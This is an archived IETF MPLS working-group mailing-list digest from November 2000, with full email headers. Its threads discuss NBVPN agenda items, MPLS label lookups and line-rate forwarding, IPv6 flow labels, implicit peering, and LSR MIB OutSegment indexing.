Agenda bashing - co-chairs > > Outline for a framework for NBVPN (draft-callon-NBVPN-outline-00.txt) - > Callon 10 min > Update of a framework for NBVPN (draft-suzuki-nbvpn-framework-01.txt) - > Suzuki/Sumimoto 13 min > > Update of the MPLS VPN work at ITU SG13 (see ITU work at > //nbvpn.francetelecom.com) - Carugi 5 min > > Multicast in MPLS/BGP VPNs (draft-rosen-vpn-mcast-00.txt) - Rosen 15 min > OSPF as the PE-CE protocol in BGP/MPLS VPNs > (draft-rosen-vpns-ospf-bgp-mpls-00.txt) - Rosen 12 min > Using BGP as an Auto-Discovery Mechanism for NBVPN > (draft-ouldbrahim-bgpvpn-auto-00.txt) - Ouldbrahim 15 min > Update on Virtual Routers - Ouldbrahim 5 min, Muthukrishnan 15 min > MPLS-based Layer 2 VPNs (draft-kompella-mpls-l2vpn-01.txt)- Kompella 15 > min > BGP/MPLS VPN extension for IPv6 VPN over an IPv4 infrastructure > (draft-nguyen-bgp-ipv6-vpn-00.txt) - De Clercq 5 min > MPLS/BGP VPN MIB (draft-nadeau-mpls-vpn-mib-00.txt) - Nadeau 10 min > > Implementing BGP/MPLS VPN in Provider's IP Backbone - Fang 10 min > > Charter discussion and organization of items to be worked on - co-chairs - > 20 min > > MAILING LIST: > Mailing list at nbvpn@bbo.com, to subscribe email to nbvpn@bbo.com with > subscribe as the subject > Mailing archive (and other documentation) at > http://nbvpn.francetelecom.com > ************************************************************************** > ****************************************************************** From owner-mpls@UU.NET Fri Nov 17 20:44:48 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA16185 for ; Fri, 17 Nov 2000 20:44:48 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjptu27733; Sat, 18 Nov 2000 01:43:14 GMT Received: by mail-control.mail.uu.net id QQjptu25087 for mpls-outgoing; Sat, 18 Nov 2000 01:42:51 GMT Received: from neserve0.corp.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: neserve0.corp.us.uu.net [153.39.92.148]) id QQjptu25082 for ; Sat, 18 Nov 2000 01:42:50 GMT Received: by neserve0.corp.us.uu.net id QQjptu17562; Fri, 17 Nov 2000 20:42:38 -0500 (EST) Date: Fri, 17 Nov 2000 20:42:38 -0500 From: Daniel Awduche To: darren.freeland@bt.com Cc: mpls@UU.NET, Daniel Awduche Subject: Re: Optical work in the MPLS group Message-ID: <20001117204238.C12548@uu.net> References: <71DA16F18D32D2119A1D0000F8FE9A940920C863@mbtlipnt01.btlabs.bt.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <71DA16F18D32D2119A1D0000F8FE9A940920C863@mbtlipnt01.btlabs.bt.co.uk>; from darren.freeland@bt.com on Fri, Nov 17, 2000 at 05:12:08PM -0000 Sender: owner-mpls@UU.NET Precedence: bulk Darren, Discussions on optical aspects commenced on the MPLS list after we submitted draft-awduche-mpls-te-optical-00.txt. I submitted the original version of this draft on Fri, Oct 22, 1999. 'Hope this helps. Regards, /Dan On Fri, Nov 17, 2000 at 05:12:08PM -0000, darren.freeland@bt.com wrote: > Hi, > > Could anyone tell me when discussions on layer 1 optical began on the MPLS > list? The archives for the IPO list only go back as far as Jan 2000, but > I'm pretty sure discussions would have started on the MPLS list well before > that ... > > Thanks in advance. > > Darren. From owner-mpls@UU.NET Fri Nov 17 21:59:46 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA18226 for ; Fri, 17 Nov 2000 21:59:45 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjptz02951; Sat, 18 Nov 2000 02:58:02 GMT Received: by mail-control.mail.uu.net id QQjptz09537 for mpls-outgoing; Sat, 18 Nov 2000 02:57:32 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjptz09530 for ; Sat, 18 Nov 2000 02:57:18 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjptz17638 for ; Sat, 18 Nov 2000 02:57:11 GMT Received: from 2KSRVR.POINTR.NET by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: 97-34.pointreyesnet.com [209.133.97.34] (may be forged)) id QQjptz22485 for ; Sat, 18 Nov 2000 02:57:10 GMT Received: by 2KSRVR.POINTR.NET with Internet Mail Service (5.5.2650.21) id ; Fri, 17 Nov 2000 18:47:22 -0800 Message-ID: From: Manohar Naidu Ellanti To: "'mpls@uu.net'" Subject: Implict peering Date: Fri, 17 Nov 2000 18:47:21 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi, Can some one provide some information and answers to the following: 1. Hop by Hop Routed LSP, any use cases for this kind of LSP Application. 2.LSP egress and LSP Proxy egress and difference between these two. 3.Implicit peering R1---R2---... Ru--Re-----prefix X1 | | prefix X2 R1-Re (X1) LSP1 R1-Re (X2) LSP2 vs R1-Re(X1) LSP1(attr X1) R1-Re(X2) LSP (attr X2) What is the implication for QoS ( E-LSP or L-LSP) and any design design needs that went into this mechanism ( I can clearly see one advantage). 4. Rationale behind egress-targeted label assignment and making it default behaviour and why egress-targeted label assignment is not combined or related with implicit peering (where the flows are towards a common Re too). Thanks in advance. -Naidu From owner-mpls@UU.NET Sun Nov 19 08:26:12 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA09256 for ; Sun, 19 Nov 2000 08:26:12 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpzh25180; Sun, 19 Nov 2000 13:24:47 GMT Received: by mail-control.mail.uu.net id QQjpzh06936 for mpls-outgoing; Sun, 19 Nov 2000 13:24:17 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpzh06927 for ; Sun, 19 Nov 2000 13:24:00 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpzh12698 for ; Sun, 19 Nov 2000 13:23:59 GMT Received: from mail.hamdard.net.pk by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.135.57.5]) id QQjpzh24577 for ; Sun, 19 Nov 2000 13:23:57 GMT Received: from faisal-s ([203.135.57.199]) by mail.hamdard.net.pk (8.9.3/8.9.3) with SMTP id SAA00553 for ; Sun, 19 Nov 2000 18:22:36 +0500 Message-ID: <001b01c0522c$56500fa0$c73987cb@faisal-s> From: "Faisal S. Naik" To: "mpls uunet" Subject: difference Date: Sun, 19 Nov 2000 18:26:22 +0500 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-7" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello friends, I need to know what are the similarities or differnces between the Flow label field of Ipv6 and the label field in the MPLS shim header. Incase of an IPv6 network working with MPLS, what role will each field of their respective technologies play? Best Regards, --------- Faisal S. Naik Senior Network Engineer, Hamdard Education Network, Hamdard University, Karachi. Ph: (92)-021-4383986-7 From owner-mpls@UU.NET Sun Nov 19 11:13:02 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10870 for ; Sun, 19 Nov 2000 11:13:01 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpzs16155; Sun, 19 Nov 2000 16:11:34 GMT Received: by mail-control.mail.uu.net id QQjpzs21506 for mpls-outgoing; Sun, 19 Nov 2000 16:11:00 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpzs21493 for ; Sun, 19 Nov 2000 16:10:45 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpzs04197 for ; Sun, 19 Nov 2000 16:09:34 GMT Received: from smtp02.mrf.mail.rcn.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp02.mrf.mail.rcn.net [207.172.4.61]) id QQjpzs00515 for ; Sun, 19 Nov 2000 16:09:34 GMT Received: from 207-172-49-12.s12.tnt7.lnhva.md.dialup.rcn.com ([207.172.49.12] helo=erols.com) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.16 #5) id 13xX24-0006ln-00 ; Sun, 19 Nov 2000 11:09:32 -0500 Message-ID: <3A17FB9B.2DF29B24@erols.com> Date: Sun, 19 Nov 2000 11:11:07 -0500 From: "S. Chkaravorty" X-Mailer: Mozilla 4.51 [en]C-RR032399 (Win95; I) X-Accept-Language: en MIME-Version: 1.0 CC: "'mpls@uu.net'" Subject: Re: multiple lookups per packet References: <7F4AC78738EAD2119D86009027626C6D012CEEC6@packetbdc.riverdelta.com> Content-Type: multipart/alternative; boundary="------------918F7548B32B509679876762" Sender: owner-mpls@UU.NET Precedence: bulk --------------918F7548B32B509679876762 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit All, Do we have a response to these questions from the proponents of MPLS? The line rate issue in the worst case of tunneling is a very valid concern. One of the largest product vendors have told me that MPLS does not work well in the core where speed (optics_ckts) is the concern. It is really too complex given this "multi-tunneling" aspect, and with LDP, it is still more complex (not accounting for versions of LDP) and then there is the unresolved control plane debate between optics and IP. It appears that MPLS is a technology bandwagon on which a lot of us want a ride but not sure where it is taking us. Or is this a wrong way of thinking? Some of you must know that through variations of hardware and/or software solution, a large number of start-ups are developing/providing high-speed switching and QoS provisioning in the edge and also in the core. It seems these folks are not waiting for the MPLS solution. S.C. Kalpesh Sheth wrote: > This is a very good question and I, too would be interested in > hearing what other's have to say. As far as I know, this is the reason > no body gurantees line rate when you have more than one/two level of > tunneling. In hardware your processing time is governed by the > worst-case scenario and in this case, there is not end to it. MPLS > architecture spec. does not address this. Other than some proprietary > way to handle this, I don't see how one can maintain "line > rate".-Kalpesh Sheth > > -----Original Message----- > From: Eyad Saheb [mailto:esaheb@hyperchip.com] > Sent: Thursday, November 16, 2000 11:01 PM > To: 'mpls@uu.net' > Subject: multiple lookups per packet > > Hello everyone, > > I have a question regarding the number of label > lookups/operation required per packet. Particularly, if a > LSR does a lookup on an incoming packet it could result in > another lookup. For example, consider the case where a > packet gets labeled upon entry into a MPLS domain. At the > following LSR, this packet/LSP can be further tunneled by > adding another label to the stack. This tunnel could itself > be tunneled by another LSR, and so on, resulting in a > considerable label stack. Suppose that all the tunnels > terminate on the same LSR. The terminating LSR would > perform a lookup, determine it is the end of the LSP, and > pop the label. However the next label would indicate the > same thing, etc... This kind of situation can make it > difficult for routers to maintain line-rate fowarding since > there's no guarantee that the next lookup won't lead to > another. Is there a way around this (perhaps using > penultimate hop popping)? Does the MPLS architecture > stipulate that situations like this should/must not occur ? > > thanks, > > Eyad > > --------------918F7548B32B509679876762 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit All,

Do we have a response to these questions from the proponents of MPLS?  The line rate issue in the worst case of tunneling is a very valid concern.

One of the largest product vendors have told me that MPLS does not work well in the core where speed (optics_ckts) is the concern.  It is really too complex given this "multi-tunneling" aspect, and with LDP, it is still more complex (not accounting for versions of LDP) and then there is the unresolved control plane debate between optics and IP.  It appears that MPLS is a technology bandwagon on which a lot of us want a ride but not sure where it is taking us.  Or is this a wrong way of thinking?

Some of you must know that through variations of hardware and/or software solution, a large number of start-ups are developing/providing high-speed switching and QoS provisioning in the edge and also in the core. It seems these folks are not waiting for the MPLS solution.

S.C.
 
 

Kalpesh Sheth wrote:

 This is a very good question and I, too would be interested in hearing what other's have to say. As far as I know, this is the reason no body gurantees line rate when you have more than one/two level of tunneling. In hardware your processing time is governed by the worst-case scenario and in this case, there is not end to it. MPLS architecture spec. does not address this. Other than some proprietary way to handle this, I don't see how one can maintain "line rate".-Kalpesh Sheth
-----Original Message-----
From: Eyad Saheb [mailto:esaheb@hyperchip.com]
Sent: Thursday, November 16, 2000 11:01 PM
To: 'mpls@uu.net'
Subject: multiple lookups per packet
 
Hello everyone,

    I have a question regarding the number of label lookups/operation required per packet.  Particularly, if a LSR does a lookup on an incoming packet it could result in another lookup.  For example, consider the case where a packet gets labeled upon entry into a MPLS domain.  At the following LSR, this packet/LSP can be further tunneled by adding another label to the stack.  This tunnel could itself be tunneled by another LSR, and so on, resulting in a considerable label stack.  Suppose that all the tunnels terminate on the same LSR.  The terminating LSR would perform a lookup, determine it is the end of the LSP, and pop the label.  However the next label would indicate the same thing, etc... This kind of situation can make it difficult for routers to maintain line-rate fowarding since there's no guarantee that the next lookup won't lead to another.  Is there a way around this (perhaps using penultimate hop popping)?  Does the MPLS architecture stipulate that situations like this should/must not occur ?

thanks,

        Eyad
 

--------------918F7548B32B509679876762-- From owner-mpls@UU.NET Sun Nov 19 15:01:01 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA12278 for ; Sun, 19 Nov 2000 15:01:01 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqah16924; Sun, 19 Nov 2000 19:59:36 GMT Received: by mail-control.mail.uu.net id QQjqah10484 for mpls-outgoing; Sun, 19 Nov 2000 19:59:18 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqah10479 for ; Sun, 19 Nov 2000 19:59:13 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqah21410 for ; Sun, 19 Nov 2000 19:58:43 GMT Received: from smtp03.mrf.mail.rcn.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp03.mrf.mail.rcn.net [207.172.4.62]) id QQjqah08834 for ; Sun, 19 Nov 2000 19:58:43 GMT Received: from 209-122-247-147.s147.tnt8.lnhva.md.dialup.rcn.com ([209.122.247.147] helo=erols.com) by smtp03.mrf.mail.rcn.net with esmtp (Exim 3.16 #5) id 13xabp-00041t-00 ; Sun, 19 Nov 2000 14:58:42 -0500 Message-ID: <3A183152.DB2276CC@erols.com> Date: Sun, 19 Nov 2000 15:00:18 -0500 From: "S. Chkaravorty" X-Mailer: Mozilla 4.51 [en]C-RR032399 (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: Manohar Ellanti CC: mpls@UU.NET Subject: Re: multiple lookups per packet References: <00b801c052c1$67370a40$1cd01318@frmt1.sfba.home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Thanks Manohar. > I think you raised an important concern regarding the direction MPLS is taking > us and our ability to see its final role in the internet. To me sometimes it > appears that MPLS is more of an interim solution/attempt to fit/reuse ATM > hardware to provide fast IP switching. 1. Agreed. It is an INTERIM solution for some (not all) ATM vendors and carriers. And that too, MPLS has not been tested out in the inter-ISP level yet, the best we can tell. > On the other hand there are genuine concerns from traffic engineering > perspective that large ISPs, such as UUNET, that would like to see some > control over routing compared to best effort and hop-by-hop routing. They need > to establish paths in the network that are determined by operator or by > dynamic traffic engineering constraints. MPLS architecture does provide lot of > advantages to do that. 2. Agreed. But I have also heard from one of very senior UUNET engineers that the best they can do is intra-ISP TE (and that is all they do with MPLS - no kidding). > QoS Provisioning platforms should be able to perform better compared to > traditional models (IntServ or DiffServ) vs label based QoS. 3. Agreed again - completely. (Such platform provisioning is already widely used in data centers where the traffic is no less huge.) > In the presence of multiple label lookup, this is an issue only at the > aggregation point or the penultimate hop. There might be some implementation > improvements such as hardware caching or some low level software in the data > forwarding/switching path that might not make multiple label lookup come in > the way of switching at line speed. One can always add latency of 125uSec (All > SONET equipment adds latency of 125 uSec) that will provide some breathing > space for the LSR/LER. This means LSR is processing a Packet that will be sent > 125uSecond later. However I don't think multiple lable look up performance > issue will arise due to use of deep nesting in practical deployment. Any > level more than 2 or 3 might be questionable traffic engineering practice > although I can't rule out such a scenario. But generally > aggregation/deaggregation will be done but one must balance against what will > be gained by too much aggregation vs using separate LSP. 4. Just as a reminder, way back and possibly for much larger time allotment available, ATM was considered not scalable. Now we have MPLS over ATM with much less time on hand (OC 48 - 192) and should we think we don't have a problem? SC From owner-mpls@UU.NET Sun Nov 19 18:18:06 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA13502 for ; Sun, 19 Nov 2000 18:18:06 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqau18258; Sun, 19 Nov 2000 23:09:27 GMT Received: by mail-control.mail.uu.net id QQjqau08373 for mpls-outgoing; Sun, 19 Nov 2000 23:08:54 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqau08361 for ; Sun, 19 Nov 2000 23:08:39 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqau01383 for ; Sun, 19 Nov 2000 23:08:19 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqau16145 for ; Sun, 19 Nov 2000 23:08:18 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id SAA03423 for mpls@uu.net; Sun, 19 Nov 2000 18:08:17 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqau08344 for ; Sun, 19 Nov 2000 23:07:47 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqau28452 for ; Sun, 19 Nov 2000 23:07:21 GMT Received: from brixcorp2.brixnet.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [216.91.233.5]) id QQjqau08139 for ; Sun, 19 Nov 2000 23:07:21 GMT Received: by brixcorp2.brixnet.com with Internet Mail Service (5.5.2650.21) id <4YLXDSQ1>; Sun, 19 Nov 2000 18:07:21 -0500 Message-ID: <07B0D4912B83D31188F300A0C9F62EBB2AF14B@brixcorp2.brixnet.com> From: "Cucchiara, Joan" To: "'Friedeborn, William'" , "'mpls@uu.net'" Subject: RE: LSR MIB, OutSegment Index Date: Sun, 19 Nov 2000 18:07:20 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Bill, This issue was raised during the last call of the LSR MIB by yours truly. I agree with you that the OutSegment Table should ifIndex and OutLabel as indices. Also, this would mean that the XC Table would change to include these as indices also. Was this change to the OutSegment and XC Tables overlooked? Thanks, Joan > -----Original Message----- > From: Friedeborn, William [mailto:billf@netplane.com] > Sent: Friday, November 17, 2000 2:23 PM > To: 'mpls@uu.net' > Subject: re: LSR MIB, OutSegment Index > > > I've been working with the LSR and TE MIBs for a while and > have run into > some implementation problems with the OutSegment objects. In > a monolithic > environment it is pretty straight forward to implement the > OutSegment table. > However, in a distributed environment, this is quite challenging. > > What is the reasoning behind using an IndexNext object to get > the OutSegment > Index? The InSegment table is indexed by IfIndex and Label, > which makes it > very easy to distribute. I can look at the ifIndex and know > what line card > has the InSegment object. On the other hand the OutSegment > table only has > the abtract OutSegmentIndex. I would have to go to each line > card to find > out which one has that index, or maintain lists of indexes to > ifIndexes on > each line card. > > It just seems like an added indirection that creates more > complexity. Am I > missing something here? > > Thanks, > Bill > From owner-mpls@UU.NET Sun Nov 19 22:16:18 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA15660 for ; Sun, 19 Nov 2000 22:16:18 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqbk26048; Mon, 20 Nov 2000 03:14:49 GMT Received: by mail-control.mail.uu.net id QQjqbk08482 for mpls-outgoing; Mon, 20 Nov 2000 03:14:28 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqbk08475 for ; Mon, 20 Nov 2000 03:14:22 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqbk03294 for ; Mon, 20 Nov 2000 03:14:13 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqbk06126 for ; Mon, 20 Nov 2000 03:14:12 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id WAA12071 for mpls@uu.net; Sun, 19 Nov 2000 22:14:11 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqbk08447 for ; Mon, 20 Nov 2000 03:13:39 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqbk17568 for ; Mon, 20 Nov 2000 03:13:22 GMT Received: from rtp-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjqbk23934 for ; Mon, 20 Nov 2000 03:13:22 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id WAA19178; Sun, 19 Nov 2000 22:11:23 -0500 (EST) Received: from TNADEAU-PC02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id AAM04136; Sun, 19 Nov 2000 22:13:10 -0500 (EST) Message-Id: <4.3.2.7.2.20001119220929.029ee370@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sun, 19 Nov 2000 22:13:09 -0500 To: "Cucchiara, Joan" , "'Friedeborn, William'" , "'mpls@uu.net'" From: "Thomas D. Nadeau" Subject: RE: LSR MIB, OutSegment Index Cc: cheenu Srinivasan , Arun Viswanathan In-Reply-To: <07B0D4912B83D31188F300A0C9F62EBB2AF14B@brixcorp2.brixnet.c om> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk Hi, To be honest, my implementation is on a monolithic subagent model. I have been able to successfully implement the MIB as it is currently defined. I have heard that others have been able to implement it as well. I am interested to hear what implementation others are experiencing using the current indexing. --Tom >This issue was raised during the last call >of the LSR MIB by yours truly. > >I agree with you that the OutSegment Table should >ifIndex and OutLabel as indices. Also, this would >mean that the XC Table would change to include these >as indices also. > >Was this change to the OutSegment and XC Tables >overlooked? > > Thanks, Joan > > > > -----Original Message----- > > From: Friedeborn, William [mailto:billf@netplane.com] > > Sent: Friday, November 17, 2000 2:23 PM > > To: 'mpls@uu.net' > > Subject: re: LSR MIB, OutSegment Index > > > > > > I've been working with the LSR and TE MIBs for a while and > > have run into > > some implementation problems with the OutSegment objects. In > > a monolithic > > environment it is pretty straight forward to implement the > > OutSegment table. > > However, in a distributed environment, this is quite challenging. > > > > What is the reasoning behind using an IndexNext object to get > > the OutSegment > > Index? The InSegment table is indexed by IfIndex and Label, > > which makes it > > very easy to distribute. I can look at the ifIndex and know > > what line card > > has the InSegment object. On the other hand the OutSegment > > table only has > > the abtract OutSegmentIndex. I would have to go to each line > > card to find > > out which one has that index, or maintain lists of indexes to > > ifIndexes on > > each line card. > > > > It just seems like an added indirection that creates more > > complexity. Am I > > missing something here? > > > > Thanks, > > Bill > > From owner-mpls@UU.NET Mon Nov 20 05:31:36 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA03617 for ; Mon, 20 Nov 2000 05:31:35 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqco02491; Mon, 20 Nov 2000 10:30:06 GMT Received: by mail-control.mail.uu.net id QQjqcn26046 for mpls-outgoing; Mon, 20 Nov 2000 10:29:50 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqcn26031 for ; Mon, 20 Nov 2000 10:29:41 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqcn08219 for ; Mon, 20 Nov 2000 10:29:36 GMT Received: from mail.hamdard.net.pk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.135.57.5]) id QQjqcn24960 for ; Mon, 20 Nov 2000 10:29:34 GMT Received: (from nobody@localhost) by mail.hamdard.net.pk (8.9.3/8.9.3) id PAA10398; Mon, 20 Nov 2000 15:28:19 +0500 Date: Mon, 20 Nov 2000 15:28:19 +0500 Message-Id: <200011201028.PAA10398@mail.hamdard.net.pk> X-Authentication-Warning: mail.hamdard.net.pk: nobody set sender to faisal2@hamdard.net.pk using -f From: "faisal2" To: mpls@UU.NET Subject: difference X-Mailer: NeoMail 1.12 X-IPAddress: 203.135.57.8 MIME-Version: 1.0 Sender: owner-mpls@UU.NET Precedence: bulk Hello friends, I need to know what is the difference or similarity between the flow- label field of Ipv6 and labe field of Mpls header. Incase of an IPv6 network what role does each of the fields play then? Thanks in advance.. Best Regards, Faisal Naik From owner-mpls@UU.NET Mon Nov 20 06:26:48 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA05615 for ; Mon, 20 Nov 2000 06:26:48 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqcr20927; Mon, 20 Nov 2000 11:25:21 GMT Received: by mail-control.mail.uu.net id QQjqcr10982 for mpls-outgoing; Mon, 20 Nov 2000 11:24:50 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqcr10977 for ; Mon, 20 Nov 2000 11:24:34 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqcr05317 for ; Mon, 20 Nov 2000 11:24:05 GMT Received: from xaloc.upc.es by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: xaloc.upc.es [147.83.105.131]) id QQjqcr12386 for ; Mon, 20 Nov 2000 11:24:03 GMT Received: from estos.upc.es (caldes.upc.es [147.83.106.78]) by xaloc.upc.es (8.9.1/8.9.1) with ESMTP id MAA29998 for ; Mon, 20 Nov 2000 12:22:34 +0100 (MET) Message-ID: <3A19178F.A5BDC388@estos.upc.es> Date: Mon, 20 Nov 2000 12:22:39 +0000 From: Juan Diego Otero Organization: UPC (Universitat =?iso-8859-1?Q?Polit=E8cnica?= de Catalunya) X-Mailer: Mozilla 4.72 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: MPLS WG Subject: MPLS WG Document Status Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk 